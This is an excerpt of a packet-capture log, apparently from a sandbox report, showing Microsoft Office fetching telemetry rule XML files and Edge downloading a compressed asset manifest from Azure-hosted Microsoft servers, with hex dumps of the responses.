2024-11-11 11:40:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:26 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: c056ec92-701e-001e-03d5-33f5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114026Z-174f7845968j9dchhC1EWRfe7400000004p0000000007axq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:26 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:26 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:26 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:26 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 7cd11897-e01e-0052-7bd5-33d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114026Z-174f7845968nnm4mhC1EWR1rn400000004qg00000000ag0s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:26 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:27 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:27 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 63eb2b55-501e-00a3-51d5-33c0f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114027Z-174f7845968vwdr7hC1EWRsh3w00000004xg000000000rrs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:27 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:27 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:27 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 27f4d8c4-701e-0032-2dd5-33a540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114027Z-174f7845968j6t2phC1EWRcfe8000000051000000000534a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:27 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:27 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:27 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 78b03aef-101e-000b-52d5-335e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114027Z-174f784596886s2bhC1EWR743w00000004x0000000005nd3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:27 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:27 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:27 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:27 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 1c99ed40-601e-0097-39d5-33f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114027Z-174f7845968qj8jrhC1EWRh41s00000004r0000000008zmu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:27 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:27 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 11:40:27 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:27 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 7f4584eb-c01e-008e-75d5-337381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T114027Z-174f7845968xlwnmhC1EWR0sv800000004tg000000001mge x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 11:40:27 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.6	49872	13.107.246.40	443	7684	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 11:40:28 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 11:40:28 UTC	577	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 11:40:28 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: f3d450ae-001e-004e-171c-34ade2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241111T114028Z-174f7845968pf68xhC1EWRr4h8000000055000000000401h Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-11 11:40:28 UTC	15807	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-11 11:40:28 UTC	16384	IN	Data Raw: 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c Data Ascii: u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp
2024-11-11 11:40:28 UTC	16384	IN	Data Raw: b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d Data Ascii: ,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-
2024-11-11 11:40:28 UTC	16384	IN	Data Raw: 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 Data Ascii: B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M,SqP
2024-11-11 11:40:28 UTC	16384	IN	Data Raw: c2 6b ad 8a 70 f5 34 6b b8 40 3f ab 6c ff 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e Data Ascii: kp4k@?lk/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.V
2024-11-11 11:40:28 UTC	16384	IN	Data Raw: 1d c0 e5 f5 0e 81 86 cd d1 7b 9c 8b 16 07 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 Data Ascii: {M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\
2024-11-11 11:40:28 UTC	16384	IN	Data Raw: b4 4f 20 01 c9 6e d7 8b d6 eb 26 ee 09 6d 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 Data Ascii: O n&m Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>Jc
2024-11-11 11:40:28 UTC	16384	IN	Data Raw: e6 2c b7 a9 5c 69 a3 75 af d9 ba f6 11 ea 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab 